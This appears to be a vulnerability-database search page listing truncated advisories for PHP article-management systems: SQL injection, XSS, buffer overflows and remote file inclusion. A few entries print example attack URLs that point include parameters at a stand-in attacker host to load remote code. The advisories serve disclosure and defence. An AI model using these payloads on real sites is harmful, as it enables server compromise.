3706 matches found
Vivvo Article Manager 3.4 - 'root' Local File Inclusion
=================================================================================================== Author: Snip0r Script Name: Vivvo Article Manager v 3.4 Website: www.vivvo.net =================================================================================================== Codesnippet of...
SpoonLabs Vivvo Article Management CMS Show_Webfeed.PHP SQL注入漏洞
SpoonLabs Vivvo Article Management CMS是一款基于PHP的WEB应用程序。 SpoonLabs Vivvo Article Management CMS不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'ShowWebfeed.PHP'脚本对用户提交的'wcHeadlines'参数缺少过滤，提交恶意SQL脚本代码作为参数数据，可更改原来的SQL逻辑，导致获得敏感信息。 SpoonLabs Vivvo Article Management CMS 3.40 目前没有解决方案提供,请关注以下链接：...
CVE-2007-0574
SQL injection vulnerability in rss/showwebfeed.php in SpoonLabs Vivvo Article Management CMS aka phpWordPress 3.40 allows remote attackers to execute arbitrary SQL commands via the wcHeadlines parameter, a different vector than CVE-2006-4715. NOTE: The provenance of this information is unknown; t...
CVE-2007-0574
SQL injection vulnerability in rss/showwebfeed.php in SpoonLabs Vivvo Article Management CMS aka phpWordPress 3.40 allows remote attackers to execute arbitrary SQL commands via the wcHeadlines parameter, a different vector than CVE-2006-4715. NOTE: The provenance of this information is unknown; t...
CVE-2007-0574
CVE-2007-0574 is an SQL injection vulnerability in SpoonLabs Vivvo Article Management CMS (aka phpWordPress) 3.40, exploitable via the wcHeadlines parameter in rss/show_webfeed.php. The issue allows remote attackers to execute arbitrary SQL commands, a different vector from CVE-2006-4715. Connect...
WordPress Article Management Plugin <= 3.40 - SQL Injection
Because of this vulnerability, the attackers can execute arbitrary SQL commands via the "wcHeadlines" parameter. Solution Update the WordPress Article Management plugin to the latest available version at least 3.41...
SpoonLabs Vivvo Article Management CMS 3.40 - Show_Webfeed.php SQL Injection
SpoonLabs Vivvo Article Management CMS 3.40 - ShowWebfeed.php SQL Injection source: https://www.securityfocus.com/bid/22282/info Vivvo Article Management CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL...
CVE-2007-0314
Multiple PHP remote file inclusion vulnerabilities in Article System 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the INCLUDEDIR parameter to 1 forms.php, 2 issueedit.php, 3 client.php, and 4 classes.php...
CVE-2007-0314
CVE-2007-0314 affects Article System 1.0 with multiple PHP remote file inclusion vulnerabilities. The issue is triggered by passing a URL through the INCLUDE_DIR parameter to (1) forms.php, (2) issue_edit.php, (3) client.php, and (4) classes.php), allowing an attacker to cause arbitrary PHP code ...
CVE-2007-0314
Multiple PHP remote file inclusion vulnerabilities in Article System 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the INCLUDEDIR parameter to 1 forms.php, 2 issueedit.php, 3 client.php, and 4 classes.php...
Article System远程文件包含漏洞
Article System是一款基于PHP的WEB应用程序。 Article System不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'INCLUDEDIR'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Article System 1.0 http://artsys.sourceforge.net/ http://example.com/scriptpath/include/forms.php?INCLUDEDIR=attacker's site...
CVE-2006-6925
Multiple cross-site scripting XSS vulnerabilities in bitweaver 1.3.1 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the message title field when submitting an article to articles/edit.php, 2 the message title field when submitting a blog post to blogs/post.php, or...
Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities
No description provided by source. Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus &nbs...
Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities
Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus Bug in:/path/include Vul Code; requireonce "$INCLUDEDIR/classes/class.formitem.php"; POC:...
Article System 0.1 - INCLUDE_DIR Remote File Inclusion
Article System 0.1 - INCLUDEDIR Remote File Inclusion Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus Bug in:/path/include Vul Code; requireonce "$INCLUDEDIR/classes/class.formitem.php"; POC:...
Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ==================================================================== Article System 0.1 INCLUDEDIR Remote File Include Vulnerabilities ==================================================================== Script:Article System Affected...
Article System 0.1 - 'INCLUDE_DIR' Remote File Inclusion
Script:Article System Affected Version:1.0 Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz Author:Dr Max Virus Bug in:/path/include Vul Code; requireonce "$INCLUDEDIR/classes/class.formitem.php"; POC:...
ACGV News Article.PHP远程文件包含漏洞
ACGV News是一款基于PHP的新闻管理程序。 ACGV News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Article.PHP'脚本对用户提交的'PathNews'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 ACGV News 0.9.1 http://www.acgv.fr.st/ http://www.example.com/ScriptPath/article.php?PathNews=http://SHELLURL.COM?...
phNNTP <= 1.3 (article-raw.php) Remote File Include Vulnerability
No description provided by source. phNNTP v1.3 Remote File Inclusion CreW: ToxiC Bug Found By Drago84 Source Code: http://freshmeat.net/redir/phnntp/16290/urltgz/phNNTP-v1.3.tar.gz Problem Is: require"$filenewsportal"; Page Affect: article-raw.php Path: Declare filenewsportal ExP:...
GLSA-200611-18 : TIN: Multiple buffer overflows
The remote host is affected by the vulnerability described in GLSA-200611-18 TIN: Multiple buffer overflows Urs Janssen and Aleksey Salow have reported multiple buffer overflows in TIN. Additionally, the OpenPKG project has reported an allocation off-by-one flaw which can lead to a buffer overflo...